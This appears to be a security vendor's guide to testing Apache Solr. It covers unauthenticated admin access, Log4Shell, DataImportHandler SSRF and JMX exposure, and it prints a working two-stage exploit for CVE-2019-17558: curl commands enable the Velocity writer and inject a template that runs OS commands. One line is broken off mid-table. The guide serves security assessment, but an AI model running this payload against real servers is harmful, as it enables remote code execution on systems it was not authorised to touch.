Apache Solr is one of the most widely deployed enterprise search platforms, powering e-commerce search, document management, and data analytics for thousands of organizations. Its security profile has a long history of critical vulnerabilities: by default, Solr's Admin UI and REST API on port 8983 require no authentication — any network client can query all collections, browse indexed documents, and modify Solr configuration; CVE-2019-17558 allows remote code execution by enabling the VelocityResponseWriter plugin via the Config API and then injecting Velocity template expressions into query parameters; Apache Solr was one of the most severely impacted products by Log4Shell (CVE-2021-44228) due to its extensive use of Log4j2; the DataImportHandler (DIH) — a common Solr feature for importing data from databases and URLs — can be exploited for SSRF when an attacker can submit import commands; the backup and restore API can write files to arbitrary server paths when misused; and Solr's JMX monitoring port (18983) is often exposed without authentication, allowing MBean manipulation. This guide covers systematic Apache Solr security assessment.
# Apache Solr default port: 8983
# Admin UI: http://solr.example.com:8983/solr/
# System info (no auth): http://solr.example.com:8983/solr/admin/info/system
# Get Solr version and system info (no auth required)
curl -s "http://solr.example.com:8983/solr/admin/info/system?wt=json" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
solr = data.get('lucene', {})
print(f\"Solr version: {solr.get('solr-spec-version','?')}\")
print(f\"Lucene version: {solr.get('lucene-spec-version','?')}\")
jvm = data.get('jvm', {})
print(f\"Java: {jvm.get('version','?')}\")
system = data.get('system', {})
print(f\"OS: {system.get('name','?')} {system.get('version','?')}\")
" 2>/dev/null
# List all collections (no auth required by default)
curl -s "http://solr.example.com:8983/solr/admin/collections?action=LIST&wt=json" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
collections = data.get('collections', [])
print(f'Collections: {len(collections)}')
for c in collections:
print(f' {c}')
" 2>/dev/null
# CVE-2019-17558: Two-stage attack
# Stage 1: Enable VelocityResponseWriter via Config API (requires Solr 5.0.0-8.3.1)
# Stage 2: Inject Velocity template in query parameter
# Stage 1: Enable VelocityResponseWriter on target collection
COLLECTION="gettingstarted"
curl -s -X POST \
"http://solr.example.com:8983/solr/${COLLECTION}/config" \
-H "Content-Type: application/json" \
-d '{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}' 2>/dev/null | python3 -m json.tool 2>/dev/null | head -5
# Stage 2: Execute command via Velocity template injection
# The template reads system properties and executes OS commands
# Detection payload (reads /etc/hostname safely):
curl -s "http://solr.example.com:8983/solr/${COLLECTION}/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3D%27%27)%23set(%24rt%3D%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr%3D%24x.class.forName(%27java.lang.Character%27))%23set(%24str%3D%24x.class.forName(%27java.lang.String%27))%23set(%24ex%3D%24rt.getRuntime().exec(%27cat%20%2Fetc%2Fhostname%27))%23set(%24bytes%3D%24ex.getInputStream().readAllBytes())%23set(%24result%3D%24str.valueOf(%24bytes))%24result" 2>/dev/null | head -20
-Dlog4j2.formatMsgNoLookups=true if on older versions| Security Test | Method | Risk |
|---|---|---|
| Admin UI and REST API without authentication | GET /solr/admin/info/system — 200 with data means no auth configured; all collections queryable | Critical |
| CVE-2019-17558 Velocity template RCE | POST Config API to enable VelocityResponseWriter, then inject template in query — arbitrary OS command execution | Critical |
| Log4Shell (CVE-2021-44228) via Solr log parameters | Send JNDI payload in query parameter or user-agent — Solr logs it via Log4j2 triggering outbound LDAP request | Critical |
| DataImportHandler SSRF | POST /solr/collection/dataimport with dataConfig containing internal URL — Solr makes outbound request | High |
| All indexed documents accessible without auth | GET /solr/collection/select?q=*:* — retrieves all indexed documents without authentication | High |
| JMX port 18983 unauthenticated | Connect with jconsole or jmxterm — full MBean access enabling configuration manipulation and heap dumps | High |
Ironimo tests Apache Solr deployments for unauthenticated Admin UI and REST API access on port 8983, CVE-2019-17558 Velocity template injection RCE via the Config API and VelocityResponseWriter, Log4Shell (CVE-2021-44228) vulnerability by detecting vulnerable Log4j2 versions in the Solr installation, DataImportHandler SSRF via crafted dataConfig with internal network URLs, full document collection access without authentication, and JMX monitoring port exposure without authentication.
Start free scan